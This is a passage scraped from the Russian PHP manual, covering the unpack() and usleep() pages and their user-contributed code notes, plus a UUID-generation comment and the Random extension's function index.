wooshoofoo, the reason mimec is calling mt_rand multiple times is because the largest number mt_rand can produce is 2^31 (2147483647, as reported by mt_getrandmax() on my server).  RFC 4122 requires a 128 bit value.

Also they are not "4 digit sequeces", but 4 digit hexadecimal numbers.  16^4 == 2^16.

mimec's limiting each random result to 2^16 avoids problem of PHP's 2^32 integer max (http://php.net/manual/en/language.types.integer.php).

If you want to call mt_rand fewer times:  mimec's version calls mt_rand 8 times ( 16 bits * 8 = 128 bits ).  You *could* call mt_rand 5 times ( 31 bits + 31 bits + 31 bits + 31 bits + 4 bits = 128 bits ).  But then you would have keep all your values as strings.

Something like:

<?php
/**
 * Another (ugly) "random or pseudo-random" version of RFC 4122
 *
 * This version calls mt_rand() the fewest possible times.
 * if mt_getrandmax() == 2^31 then this will call mt_rand() 5 times YMMV
 *
 * Personally, I would use mimec's version
 * To handle the large values, we'll keep everything as strings.
 *
 * @return string
 */
function uuid() {

     // Generate 128 bit random sequence
     $randmax_bits = strlen(base_convert(mt_getrandmax(), 10, 2));  // how many bits is mt_getrandmax()
     $x = '';
     while (strlen($x) < 128) {
         $maxbits = (128 - strlen($x) < $randmax_bits) ? 128 - strlen($x) :  $randmax_bits;
         $x .= str_pad(base_convert(mt_rand(0, pow(2,$maxbits)), 10, 2), $maxbits, "0", STR_PAD_LEFT);
     }

     // break into fields
     $a = array();
     $a['time_low_part'] = substr($x, 0, 32);
     $a['time_mid'] = substr($x, 32, 16);
     $a['time_hi_and_version'] = substr($x, 48, 16);
     $a['clock_seq'] = substr($x, 64, 16);
     $a['node_part'] =  substr($x, 80, 48);

     // Apply bit masks for "random or pseudo-random" version per RFC
     $a['time_hi_and_version'] = substr_replace($a['time_hi_and_version'], '0100', 0, 4);
     $a['clock_seq'] = substr_replace($a['clock_seq'], '10', 0, 2);

    // Format output
    return sprintf('%s-%s-%s-%s-%s',
        str_pad(base_convert($a['time_low_part'], 2, 16), 8, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_mid'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['time_hi_and_version'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['clock_seq'], 2, 16), 4, "0", STR_PAD_LEFT),
        str_pad(base_convert($a['node_part'], 2, 16), 12, "0", STR_PAD_LEFT));
}

?>

However, I think mimec's version is much more elegant.


Распаковать данные из бинарной строки

  • « uniqid
  • usleep »
  • PHP Manual
  • Разные функции
  • Распаковать данные из бинарной строки

unpack

(PHP 4, PHP 5, PHP 7, PHP 8)

unpack — Распаковать данные из бинарной строки

Описание

unpack(string $format, string $string, int $offset = 0): array|false

Распаковывает данные из бинарной строки в массив в соответствии с заданным в format формате.

Распакованные данные хранятся в ассоциативном массиве. Для осуществления этого необходимо обозначить различные коды форматов и разделить их с помощью слеша /. Можно также передать замещающий аргумент, с помощью которого каждый ключ массива будет иметь порядковый номер после заданного имени.

Для поддержания совместимости с Perl сделано следующее:

  • Код "a" теперь сохраняет завершающие NULL-байты.
  • Код "A" теперь удаляет все завершающие пробельные символы ASCII (пробелы, табуляцию, переносы строк, возврат каретки, и NULL-байты).
  • Код "Z" добавлен для NULL-дополненными строками и удаляет завершающие NULL-байты.

Список параметров

format

Смотрите функцию pack() для разъяснения кодов форматов.

string

Упакованные данные.

offset

Смещение, с которого необходимо начать распаковку.

Возвращаемые значения

Возвращает ассоциативный массив, содержащий распакованные элементы бинарной строки или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.2.0 | Типы float и double поддерживают как обратный, так и прямой порядок передачи байтов.
7.1.0 | Добавлен необязательный параметр offset.

Примеры

Пример #1 Пример использования unpack()

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("cchars/nint", $binarydata);
print_r($array);
?>

Результат выполнения данного примера:

Array
(
    [chars] => 4
    [int] => 160
)

Пример #2 Пример использования unpack() с замещающим аргументом

<?php
$binarydata = "\x04\x00\xa0\x00";
$array = unpack("c2chars/nint", $binarydata);
print_r($array);
?>

Результат выполнения данного примера:

Array
(
    [chars1] => 4
    [chars2] => 0
    [int] => 40960
)

Примечания

Предостережение

Необходимо отметить, что PHP хранит целые значения со знаком (signed). Если распаковать значение типа large unsigned long и оно будет иметь тот же размер, что и хранимое значение PHP, то результатом будет отрицательное число, даже если было указано распаковывать без знака (unsigned).

Предостережение

Если не назвать элемент, то будут использованы числовые индексы, начиная с 1. Если не обозначить более одного элемента, то это значит, что некоторые данные будут перезаписаны, так как нумерация перезапускается с 1 для каждого такого элемента.

Пример #3 Пример использования unpack() с безымянными ключами

<?php
$binarydata = "\x32\x42\x00\xa0";
$array = unpack("c2/n", $binarydata);
var_dump($array);
?>

Результат выполнения данного примера:

array(2) {
  [1]=>
  int(160)
  [2]=>
  int(66)
}

Обратите внимание, что первое значение из спецификатора c перезаписывается первым значением из спецификатора n.

Смотрите также

  • pack() - Упаковать данные в бинарную строку

User Contributed Notes

ludwig at kni-online dot de 30-Jan-2020 11:57
Don't forget to decode user-defined-pseudo-byte-sequences before unpacking...
<?php
  $byte_code_string =  '00004040';
  var_dump ( unpack ( 'f', $byte_code_string ) );
?>
Result:
  array(1) {
    [1]=>
    float(6.4096905560973E-10)
  }

whereas
<?php
   $byte_code_string =  '00004040';
   var_dump ( unpack ( 'f', hex2bin ( $byte_code_string ) ) );
?>
Result:
  array(1) {
    [1]=>
    float(3)
  }
stanislav dot eckert at vizson dot de 29-May-2016 03:15
A helper class to convert integer to binary strings and vice versa. Useful for writing and reading integers to / from files or sockets.

<?php

    class int_helper
    {
        public static function int8($i) {
            return is_int($i) ? pack("c", $i) : unpack("c", $i)[1];
        }

        public static function uInt8($i) {
            return is_int($i) ? pack("C", $i) : unpack("C", $i)[1];
        }

        public static function int16($i) {
            return is_int($i) ? pack("s", $i) : unpack("s", $i)[1];
        }

        public static function uInt16($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("n", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("v", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("S", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int32($i) {
            return is_int($i) ? pack("l", $i) : unpack("l", $i)[1];
        }

        public static function uInt32($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("N", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("V", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("L", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int64($i) {
            return is_int($i) ? pack("q", $i) : unpack("q", $i)[1];
        }

        public static function uInt64($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("J", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("P", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("Q", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }
    }
?>

Usage example:
<?php
    Header("Content-Type: text/plain");
    include("int_helper.php");

    echo int_helper::uInt8(0x6b) . PHP_EOL;  // k
    echo int_helper::uInt8(107) . PHP_EOL;  // k
    echo int_helper::uInt8("\x6b") . PHP_EOL . PHP_EOL;  // 107

    echo int_helper::uInt16(4101) . PHP_EOL;  // \x05\x10
    echo int_helper::uInt16("\x05\x10") . PHP_EOL;  // 4101
    echo int_helper::uInt16("\x05\x10", true) . PHP_EOL . PHP_EOL;  // 1296

    echo int_helper::uInt32(2147483647) . PHP_EOL;  // \xff\xff\xff\x7f
    echo int_helper::uInt32("\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 2147483647

    // Note: Test this with 64-bit build of PHP
    echo int_helper::uInt64(9223372036854775807) . PHP_EOL;  // \xff\xff\xff\xff\xff\xff\xff\x7f
    echo int_helper::uInt64("\xff\xff\xff\xff\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 9223372036854775807

?>
googlybash24 at aol dot com 19-Sep-2012 05:20
To convert big endian to little endian or to convert little endian to big endian, use the following approach as an example:

<?php
// file_get_contents() returns a binary value, unpack("V*", _ ) returns an unsigned long 32-bit little endian decimal value, but bin2hex() after that would just give the hex data in the file if alone, so instead we use:
// file_get_contents(), unpack("V*", _ ), then dechex(), in that order, to get the byte-swapping effect.
?>

With the logic of the approach in this example, you can discover how to swap the endian byte order as you need.
rogier 05-Oct-2011 07:19
be aware of the behavior of your system that PHP resides on.

On x86, unpack MAY not yield the result you expect for UInt32

This is due to the internal nature of PHP, being that integers are internally stored as SIGNED!

For x86 systems, unpack('N', "\xff\xff\xff\xff") results in -1
For (most?) x64 systems, unpack('N', "\xff\xff\xff\xff") results in 4294967295.

This can be verified by checking the value of PHP_INT_SIZE.
If this value is 4, you have a PHP that internally stores 32-bit.
A value of 8 internally stores 64-bit.

To work around this 'problem', you can use the following code to avoid problems with unpack.
The code is for big endian order but can easily be adjusted for little endian order (also, similar code works for 64-bit integers):

<?php
function _uint32be($bin)
{
    // $bin is the binary 32-bit BE string that represents the integer
    if (PHP_INT_SIZE <= 4){
        list(,$h,$l) = unpack('n*', $bin);
        return ($l + ($h*0x010000));
    }
    else{
        list(,$int) = unpack('N', $bin);
        return $int;
    }
}
?>

Do note that you *could* also use sprintf('%u', $x) to show the unsigned real value.
Also note that (at least when PHP_INT_SIZE = 4) the result WILL be a float value when the input is larger then 0x7fffffff (just check with gettype);

Hope this helps people.
Aaron Wells 08-Oct-2010 03:06
Another option for converting binary data into PHP data types, is to use the Zend Framework's Zend_Io_Reader class:
http://bit.ly/9zAhgz

There's also a Zend_Io_Writer class that does the reverse.
norwood at computer dot org 06-Apr-2010 02:15
Reading a text cell from an Excel spreadsheet returned a string with low-order embedded nulls: 0x4100 0x4200 etc. To remove the nulls, used

<?php
$strWithoutNulls = implode( '', explode( "\0", $strWithNulls ) );
?>

(unpack() didn't seem to help much here; needed chars back to re-constitute the string, not integers.)
Anonymous 23-Sep-2009 08:02
Functions I found useful when dealing with fixed width file processing, related to unpack/pack functions.
<?php
/**
* funpack
* format: array of key, length pairs
* data: string to unpack
*/
function funpack($format, $data){
    foreach ($format as $key => $len) {
        $result[$key] = trim(substr($data, $pos, $len));
        $pos+= $len;
    }
    return $result;
}

/**
* fpack
* format: array of key, length pairs
* data: array of key, value pairs to pack
* pad: padding direction
*/
function fpack($format, $data, $pad = STR_PAD_RIGHT){
    foreach ($format as $key => $len){
        $result .= substr(str_pad($data[$key], $len, $pad), 0, $len);
    }
    return $result;
}
?>
sica at wnet com br 20-Jul-2009 12:45
The script following is a example how to save more than one values on file separating its with "\r\n" and how to recovering its values.

<?php
// Save two integer values in a binary file
$nomearq = "./teste.bin";
$valor = 123;
$ptrarq = fopen($nomearq, "wb");
$valorBin = pack("L",$valor);
echo "First value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
echo "Separator \\r\\n with ";
echo fwrite($ptrarq, "\r\n")." bytes<br>";
$valor = 456;
$valorBin = pack("L",$valor);
echo "Second value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
fclose($ptrarq);

// Recover the saved values
$ptrarq = fopen($nomearq, "rb");
$valorBin = file($nomearq,filesize($nomearq));
echo "<br>The reading values is:<br>";
foreach($valorBin as $valor){
  $valor = unpack("L",$valor);
  print_r($valor);
  echo "<br>";
}
fclose($ptrarq);
?>

Results:
First value (123) packed with 4 bytes
Separator \r\n with 2 bytes
Second value (456) packed with 4 bytes

The reading values is:
Array ( [1] => 123 )
Array ( [1] => 456 )
Anonymous Coward 28-Mar-2008 10:52
Warning: This unpack function makes the array with keys starting at 1 instead of starting at 0.

For example:
<?php
 function read_field($h) {
  $a=unpack("V",fread($h,4));
  return fread($h,$a[1]);
 }
?>
jjfoerch at earthlink dot net 21-Oct-2004 04:57
I had a situation where I had to unpack a file filled with little-endian order double-floats in a way that would work on either little-endian or big-endian machines.  PHP doesn't have a formatting code that will change the byte order of doubles, so I wrote this workaround.

<?php
/*The following code is a workaround for php's unpack function
which does not have the capability of unpacking double precision
floats that were packed in the opposite byte order of the current
machine.
*/
function big_endian_unpack ($format, $data) {
    $ar = unpack ($format, $data);
    $vals = array_values ($ar);
    $f = explode ('/', $format);
    $i = 0;
    foreach ($f as $f_k => $f_v) {
    $repeater = intval (substr ($f_v, 1));
    if ($repeater == 0) $repeater = 1;
    if ($f_v{1} == '*')
    {
        $repeater = count ($ar) - $i;
    }
    if ($f_v{0} != 'd') { $i += $repeater; continue; }
    $j = $i + $repeater;
    for ($a = $i; $a < $j; ++$a)
    {
        $p = pack ('d',$vals[$i]);
        $p = strrev ($p);
        list ($vals[$i]) = array_values (unpack ('d1d', $p));
        ++$i;
    }
    }
    $a = 0;
    foreach ($ar as $ar_k => $ar_v) {
    $ar[$ar_k] = $vals[$a];
    ++$a;
    }
    return $ar;
}

list ($endiantest) = array_values (unpack ('L1L', pack ('V',1)));
if ($endiantest != 1) define ('BIG_ENDIAN_MACHINE',1);
if (defined ('BIG_ENDIAN_MACHINE')) $unpack_workaround = 'big_endian_unpack';
else $unpack_workaround = 'unpack';
?>

This workaround is used like this:

<?php

function foo() {
        global $unpack_workaround;
    $bar = $unpack_workaround('N7N/V2V/d8d',$my_data);
//...
}

?>

On a little endian machine, $unpack_workaround will simply point to the function unpack.  On a big endian machine, it will call the workaround function.

Note, this solution only works for doubles.  In my project I had no need to check for single precision floats.
kennwhite dot nospam at hotmail dot com 28-Aug-2004 12:32
If having a zero-based index is useful/necessary, then instead of:

$int_list = unpack("s*", $some_binary_data);

 try:

$int_list = array_merge(unpack("s*", $some_binary_data));

This will return a 0-based array:

$int_list[0] = x
$int_list[1] = y
$int_list[2] = z
...

rather than the default 1-based array returned from unpack when no key is supplied:

$int_list[1] = x
$int_list[2] = y
$int_list[3] = z
...

It's not used often, but array_merge() with only one parameter will compress a sequentially-ordered numeric-index, starting with an index of [0].
Sergio Santana: ssantana at tlaloc dot imta dot mx 09-Jul-2004 10:54
This is about the last example of my previous post. For the sake of clarity, I'm including again here the example, which expands the one given in the formal documentation:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
     echo "\$array[$key] = $value <br>\n";
?>

This outputs:

$array[chars1] = 65
$array[chars2] = 65
$array[int] = 65

Here, we assume that the ascii code for character 'A' is decimal 65.

Remebering that the format string structure is:
<format-code> [<count>] [<array-key>] [/ ...],
in this example, the format string instructs the function to
  1. ("c2...") Read two chars from the second argument ("AA ...),
  2. (...chars...) Use the array-keys "chars1", and "chars2" for
      these two chars read,
  3. (.../n...) Read a short int from the second argument (...\0A"),
  4. (...int") Use the word "int" as the array key for the just read
      short.

I hope this is clearer now,

Sergio.
Sergio Santana: ssantana at tlaloc dot imta dot mx 08-Jul-2004 07:41
Suppose we need to get some kind of internal representation of an integer, say 65, as a four-byte long. Then we use, something like:

<?
  $i = 65;
  $s = pack("l", $i); // long 32 bit, machine byte order
  echo strlen($s) . "<br>\n";
  echo "***$s***<br>\n";
?>

The output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

4
***A***

(That is the string "A\0\0\0")

Now we want to go back from string "A\0\0\0" to number 65. In this case we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number 65
  $arr = unpack("l", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value<br>\n";
?>

And this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[] = 65

Let's give the array key a name, say "mykey". In this case, we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number  65
  $arr = unpack("lmykey", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value\n";
?>

An this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[mykey] = 65

The "unpack" documentation is a little bit confusing. I think a more complete example could be:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
    echo "\$array[$key] = $value <br>\n";
?>

whose output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

$array[chars1] = 65 <br>
$array[chars2] = 65 <br>
$array[int] = 65 <br>

Note that the format string is something like
<format-code> [<count>] [<array-key>] [/ ...]

I hope this clarifies something

Sergio
iredden at redden dot on dot ca 11-Mar-2000 04:34
<?php

function parse_pascalstr($bytes_parsed, $parse_str) {
    $parse_info = unpack("x$bytes_parsed/cstr_len", $parse_str);
    $str_len = $parse_info["str_len"];
    $bytes_parsed = $bytes_parsed + 1;
    $parse_info = unpack("x$bytes_parsed/A".$str_len."str", $parse_str);
    $str = $parse_info["str"];
    $bytes_parsed = $bytes_parsed + strlen($str);

    return array($str, $bytes_parsed);
}

?>


Задержка выполнения в микросекундах

  • « unpack
  • Список изменений »
  • PHP Manual
  • Разные функции
  • Задержка выполнения в микросекундах

usleep

(PHP 4, PHP 5, PHP 7, PHP 8)

usleep — Задержка выполнения в микросекундах

Описание

usleep(int $microseconds): void

Откладывает выполнение программы на указанное число микросекунд.

Список параметров

microseconds

Время откладываемого исполнения в микросекундах. Микросекунда - это одна миллионная секунды.

Замечание: Значения больше 1000000 (т.е. ожидание более секунды) могут не поддерживаться операционной системой. Вместо этого используйте sleep().

Замечание: Отложенное исполнение может быть немного дольше (т.е. может быть дольше, чем параметр microseconds) за счёт любой активности системы или времени, затраченного на обработку вызова или гранулярностью системных таймеров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования usleep()

<?php

// Текущее время
echo (new DateTime('now'))->format('H:i:s.v'), "\n";

// ждать 2 миллисекунды
usleep(2000);

// вернуться к исполнению
echo (new DateTime('now'))->format('H:i:s.v'), "\n";

// ждать 30 миллисекунд
usleep(30000);

// вернуться к исполнению ещё раз!
echo (new DateTime('now'))->format('H:i:s.v'), "\n";

?>

Результат выполнения данного примера:

11:13:28.005
11:13:28.007
11:13:28.037

Смотрите также

  • sleep() - Задержка выполнения
  • time_nanosleep() - Задержка на заданное число секунд и наносекунд
  • time_sleep_until() - Откладывает исполнение скрипта до заданного времени
  • set_time_limit() - Ограничение времени выполнения скрипта

User Contributed Notes

septerrianin at mail dot ru 06-Aug-2018 09:51
Note that this function has an overhead!

Example:
<?php
for ($i = 0; $i < 1000000; ++$i)
{
    usleep(1);
}
?>

This block is running about 70 seconds on my server.
Script take about 70 microseconds for every usleep() function call.
m dot prowler at gmail dot com 04-Nov-2015 07:26
On both MacOS X and Linux the usleep() call seems to consume CPU cycles, whereas sleep() and time_nanosleep() do not. This was the same on PHP 5.3.29 and 5.5.29.

I used a loop with just a call to sleep/usleep/time_nanosleep, and compared them all with an empty loop. Obviously the empty loop consumed 99% of the CPU, sleep used 0%, usleep used 3% for 1000ms and 6% for 100ms, and time_nanosleep used 0% for both 500ms and 1000ms.
Docey 27-May-2007 02:19
the idea of sleep and usleep is that by letting the cpu run a few idle cycles so the other programs can have some cycles run of their own. what results in better response times and lower overall system-load. so if you have to wait for something, go to sleep for a few seconds instead of occupying the cpu while doing absolute nothing but waitting.
Mike at SevenCode dot com 11-Jan-2007 03:36
Dude you are SO the man for that code snippet. It worked like a charm. I just wanted to point out a couple things and offer my own improvement.

1. If you're like me, you were probably wondering why the socket had to keep being recreated on each call, and why you couldn't just create a static socket. Its because socket_select assumes you're passing in a pointer, and will alter the variable on return to reflect the actual sockets that were changed.

2. I couldn't figure out for the life of me why socket_select wasn't defined. Its because you hadn't enabled the right extension in php.ini

Ok so heres my slight improvement. The only real thing I did is use a static variable for the socket, to avoid creating a brand new socket on each call of this function. I'm not sure if socket creation will cause things to crash down the line like the other problems reported on here, but if you ask me better safe then sorry.

function Sleeper($mSec)
{
    //    For dummies like me who spent 5 minutes
    //    wondering why socket_create wasn't defined
    if(!function_exists('socket_create')){
        die("Please enable extension php_sockets.dll");
    }

    //    So the socket is only created once
    static $socket=false;
    if($socket===false){
        $socket=array(socket_create(AF_INET,SOCK_RAW,0));
    }
    $pSock=$socket;

    //    Calc time
    $uSex = $mSec * 1000;

    //    Do the waiting
    socket_select($read=NULL,$write=NULL,$pSock,0,$uSex);

    //    OCD
    return true;
}
php_manual at lk2 dot de 28-Dec-2006 02:16
I have no idea why nobody came up with this yet, but there is an efficient way to reproduce usleep() under windows:

<?php
function usleep_win($msec) {
   $usec = $msec * 1000;
   socket_select($read = NULL, $write = NULL, $sock = array(socket_create (AF_INET, SOCK_RAW, 0)), 0, $usec);
}
?>

* Doesnt busy wait
* Doesnt eat memory
* Works for millions of repetitions
* Seems to be rather efficient

It seems that the average error (on my machine) is about 5ms (it sleeps 5ms more than intended) thats probably due to code execution as well as kernel timers.

A socket without any purpose is highly unlikely to every cause an exception, so socket_select will always sleep until the timeout is hit.
Rasmus Schultz 23-Aug-2006 06:39
I have spent DAYS trying to create a reliable usleep()-replacement for Windows.

I have only this to offer:

As commented by someone else already, the gettimeofday() method used below is useless - PHP will use all available CPU power doing nothing.

The fsockopen() method apparently is also useless - as someone else commented, an fclose() was missing in the original post, but this apparently does not solve the problem. After calling the function about 50 or so times, fsockopen() returns immidiately, without any delay - and watching a process monitor in Windows, you can then watch the process taking up increasingly more memory, until eventually PHP aborts (or crashes) when it reaches maximum.

The win32api-method is also a no-go ... after calling the Sleep function a few hundred times (during which memory usage will also go up every time due to a memory leak somewhere), PHP will cause an exception and Windows will terminate it.

I have given up - I don't think there is any viable solution to this problem under PHP 4.

If you need this function, upgrade your project to PHP 5.

Or settle for 1-second delays with the sleep()-function.

These, unfortunately, seem to be your only options...
Patrick 26-Jul-2006 01:04
I want to create a daemon/Linux service. Here is an example of how to run a process that has "throttle control"

// You must set these
//
// max_execution_time = 0
// max_input_time = 0

function doProcess() {
    echo "Start"."\n";
    usleep(10000);
    echo "Stop"."\n";
    return false;
}

function manageProcess() {
    // Setup data
    $runsPerMinute = 200;
    $maxMinuteAverage = 5;
    $waitIfNotWorking = 120; // seconds

    // Conversion
    $microsPerSecond = 1000000;

    // Statistical Info
    $currentMinute = 0;
    $minute = -1;
    $countPerMinute = array();
    $sumPerMinute = array();

    // Totals
    $totalProcessTime = 0;
    $totalCounts = 0;

    while (true) {
        $timestart = microtime();
        $performedWork = doProcess();
        $timeend = microtime();

        if (!$performedWork) {
            // Statistical Info
            $currentMinute = 0;
            $minute = -1;
            $countPerMinute = array();
            $sumPerMinute = array();

            sleep($waitIfNotWorking);
        } else {

            $ts = split(" ",$timestart);
            $te = split(" ",$timeend);

            $te[0] = ($te[0] * $microsPerSecond) - ($ts[0] * $microsPerSecond);
            $te[1] = ($te[1] - $ts[1]) * $microsPerSecond;

            $processTime = $te[0] + $te[1];

            if (date("i")<>$minute) { // We are NOT in the same minute
                // Reset the new minute
                $minute = date("i");
                $currentMinute = ($currentMinute+1) % $maxMinuteAverage;

                // Remove Statistical Information from the minute we are expiring.
                if (isset($countPerMinute[$currentMinute])) {
                    $totalProcessTime = $totalProcessTime - $sumPerMinute[$currentMinute];
                    $totalCounts = $totalCounts - $countPerMinute[$currentMinute];
                }

                $countPerMinute[$currentMinute] = 0;
                $sumPerMinute[$currentMinute] = 0;
            }

            $countPerMinute[$currentMinute] = $countPerMinute[$currentMinute] + 1;
            $sumPerMinute[$currentMinute] = $sumPerMinute[$currentMinute] + $processTime;

            $totalCounts = $totalCounts + 1;
            $totalProcessTime = $totalProcessTime + $processTime;

            $averageRuntime = round($totalProcessTime / $totalCounts);

            $waitTime = (($microsPerSecond*60) / $runsPerMinute) - $averageRuntime;

            usleep($waitTime);
        }
    }

}

manageProcess();
gizmo at aoaforums dot com 02-Feb-2006 09:28
It should be noted that Windows machines have a resolution of either 10 mS or 15 mS (depending on the chipset implementation and HAL used) when using the Sleep() function in kernel32.dll.  This means that your average error will be either 5 or 7.5 mS.  This is not ordinarily a problem unless you really NEED to sleep for less time than the granularity provided by Windows.
gmc at serveisw3 dot net 07-Jul-2005 09:11
If you're using Windows then you maybe are in trouble with usleep if you really need to use it.

The Bernie's microdelay function using fsockopen does not work properly, and the fclose doesn't help much.

I don't know if network connections go strange, but I know it does not work since you've made more than 2000 - 3000 calls to it, so it's not a reliable solution in 'long life' php scripts, or these are the issues of the microdelay function in my PHP and PHP-GTK applications.

Though another solution should be found, and googling a bit I fount a WinAPI function: Sleep.

So I get with this snippet wich works fine for me, you get milliseconds precission but the more important, it works for long-run scripts and of course, it does not waste any CPU cycles.

dl('php_w32api.dll');

$GLOBALS['win32api'] =& new win32;

// USleep alternative for Windows and PHP4:
$GLOBALS['win32api']->registerfunction("long Sleep (long dwMillisecods) From kernel32.dll");

// Now you can call the function from everywhere in your script: $GLOBALS['win32api']->Sleep(milliseconds);

for ($msec = 2000; $msec > 0; $msec = $msec - 125) {
  echo "Hi. Next one in $msec msec.\n";
  $GLOBALS['win32api']->Sleep($msec);
}
Bertie 28-Nov-2003 11:47
A word of warning about the microdelay() code posted that uses the fsockopen - if you use this is a loop that delays for small periods you will very quickly run out of sockets/socket buffer space. And then your network connections go very strange......
busby at edoceo dot com 17-Jan-2003 04:04
Should be noted that functions that loop really fast to create a delay also consume 100% CPU while doing the loop.  Try creating a dummy loop that goes 100000 times, watch it choke your machine.  If you really need usleep() don't use windows.
dave at techweavers dot net 28-Dec-2000 07:29
To monitor a scripts CPU ussage and avoid any nasty CPU gobbling loops you can use this function (will not work with windows or safe mode) I know it works on FreeBSD:
function phpmon($max)
 {
 $cmd = `ps -Unobody -r -o%cpu`;
 $lines = explode("\n", $cmd);
 $usage = substr($lines[1], 0, strpos($lines[1], "."));
 $sleeprate = 500;
 while ($usage >= $max)
  {
  $cmd = `ps -Unobody -r -o%cpu`;
  $lines = explode("\n", $cmd);
  $usage = substr($lines[1], 0, strpos($lines[1], "."));
  usleep($sleeprate);
  }
 }

phpmon($MAX);

where $MAX is the maximum CPU you want the process to consume. e-mail me with any improvements/suggestions.

I have noticed that this consumes a lot of system CPU (at least in my limited testing) possibly from all of the system calls or the huge mathematical functions I used to test the effectiveness of the script.


Генераторы случайных чисел и функции, связанные со случайностью

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции Random
    • getrandmax — Возвращает максимально возможное случайное число
    • lcg_value — Комбинированный линейный конгруэнтный генератор
    • mt_getrandmax — Показывает максимально возможное значение случайного числа
    • mt_rand — Генерирует случайное значение методом с помощью генератора простых чисел на базе Вихря Мерсенна
    • mt_srand — Проинициализирует генератор случайных чисел на базе Вихря Мерсенна
    • rand — Генерирует случайное число
    • random_bytes — Получает криптографически безопасные случайные байты
    • random_int — Получает криптографически безопасное, равномерно выбранное целое число
    • srand — Изменяет начальное число генератора псевдослучайных чисел
  • Random\Randomizer — Класс Random\Randomizer
    • Random\Randomizer::__construct — Создаёт новый объект Randomizer
    • Random\Randomizer::getBytes — Получает случайные байты
    • Random\Randomizer::getBytesFromString — Get random bytes from a source string
    • Random\Randomizer::getFloat — Get a uniformly selected float
    • Random\Randomizer::getInt — Получает равномерно выбранное целое число
    • Random\Randomizer::nextFloat — Get a float from the right-open interval [0.0, 1.0)
    • Random\Randomizer::nextInt — Получает целое положительное число
    • Random\Randomizer::pickArrayKeys — Выбирает случайные ключи массива
    • Random\Randomizer::__serialize — Сериализует объект Randomizer
    • Random\Randomizer::shuffleArray — Получает перестановку массива
    • Random\Randomizer::shuffleBytes — Получает байтовую перестановку строки
    • Random\Randomizer::__unserialize — Десериализует параметр data в объект Randomizer
  • Random\Engine — Интерфейс Random\Engine
    • Random\Engine::generate — Создаёт случайную последовательность
  • Random\CryptoSafeEngine — Интерфейс Random\CryptoSafeEngine
  • Random\Engine\Secure — Класс Random\Engine\Secure
    • Random\Engine\Secure::generate — Создаёт криптографически безопасную случайную последовательность
  • Random\Engine\Mt19937 — Класс Random\Engine\Mt19937
    • Random\Engine\Mt19937::__construct — Создаёт новый объект движка Mt19937
    • Random\Engine\Mt19937::__debugInfo — Возвращает внутреннее состояние движка
    • Random\Engine\Mt19937::generate — Создаёт 32 бита случайной последовательности
    • Random\Engine\Mt19937::__serialize — Сериализует объект Mt19937
    • Random\Engine\Mt19937::__unserialize — Десериализует параметр data в объект Mt19937
  • Random\Engine\PcgOneseq128XslRr64 — Класс Random\Engine\PcgOneseq128XslRr64
    • Random\Engine\PcgOneseq128XslRr64::__construct — Создаёт новый движок PCG Oneseq 128 XSL RR 64
    • Random\Engine\PcgOneseq128XslRr64::__debugInfo — Возвращает внутреннее состояние движка
    • Random\Engine\PcgOneseq128XslRr64::generate — Создаёт 64 бита случайной последовательности
    • Random\Engine\PcgOneseq128XslRr64::jump — Эффективное перемещение движка вперёд на несколько шагов
    • Random\Engine\PcgOneseq128XslRr64::__serialize — Сериализует объект PcgOneseq128XslRr64
    • Random\Engine\PcgOneseq128XslRr64::__unserialize — Десериализует параметр data в объект PcgOneseq128XslRr64
  • Random\Engine\Xoshiro256StarStar — Класс Random\Engine\Xoshiro256StarStar
    • Random\Engine\Xoshiro256StarStar::__construct — Создаёт новый объект движка xoshiro256**
    • Random\Engine\Xoshiro256StarStar::__debugInfo — Возвращает внутреннее состояние движка
    • Random\Engine\Xoshiro256StarStar::generate — Генерирует 64 бита случайной последовательности
    • Random\Engine\Xoshiro256StarStar::jump — Эффективно перемещает движок вперёд на 2^128 шагов
    • Random\Engine\Xoshiro256StarStar::jumpLong — Эффективно перемещает движок вперёд на 2^192 шага
    • Random\Engine\Xoshiro256StarStar::__serialize — Сериализует объект Xoshiro256StarStar
    • Random\Engine\Xoshiro256StarStar::__unserialize — Десериализует параметр data в объект Xoshiro256StarStar
  • Random\RandomError — Класс Random\RandomError
